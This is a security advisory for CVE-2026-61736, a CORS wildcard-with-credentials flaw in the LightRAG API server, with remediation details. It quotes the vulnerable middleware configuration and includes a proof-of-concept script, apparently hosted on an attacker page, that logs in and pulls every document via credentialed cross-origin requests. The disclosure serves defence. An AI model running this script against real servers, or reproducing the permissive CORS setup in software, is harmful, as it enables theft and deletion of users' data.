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9.3

CVE-2026-61736: LightRAG: Malicious Websites Can Steal or Delete Data

CVE-2026-61736 CVE-2026-61736 GHSA-6x6h-qqr7-855w
Summary

A security issue in LightRAG allows malicious websites to make requests to LightRAG's API on behalf of authenticated users, potentially stealing or deleting sensitive data. This can happen when a user visits a malicious website while logged in to LightRAG. To fix this issue, update to LightRAG version 1.5.4 or later.

What to do
  • Update lightrag-hku to version 1.5.4.
Affected software
Ecosystem VendorProductAffected versions
hkuds lightrag < 1.5.4
pip lightrag-hku <= 1.5.3
Fix: upgrade to 1.5.4
Original title
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Original description
### Summary
The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

### Details

```python
# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*") # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # any origin
allow_credentials=True, # credentials — PROBLEM with wildcard
allow_methods=["*"],
allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true
```

### PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

```html
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
// Get victim token (or re-use existing session)
const r1 = await fetch(`${TARGET}/login`, {
method: "POST", credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: "username=victim&password=known_pass"
});
const { access_token } = await r1.json();

// Exfiltrate all documents
const docs = await (await fetch(`${TARGET}/documents`, {
credentials: "include",
headers: { Authorization: `Bearer ${access_token}` }
})).json();
console.log("STOLEN DOCS:", docs);
})();
</script>
```

### Impact
Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.
nvd CVSS3.1 9.3
Vulnerability type
CWE-942
Published: 20 Jul 2026 · Updated: 20 Jul 2026 · First seen: 15 Jul 2026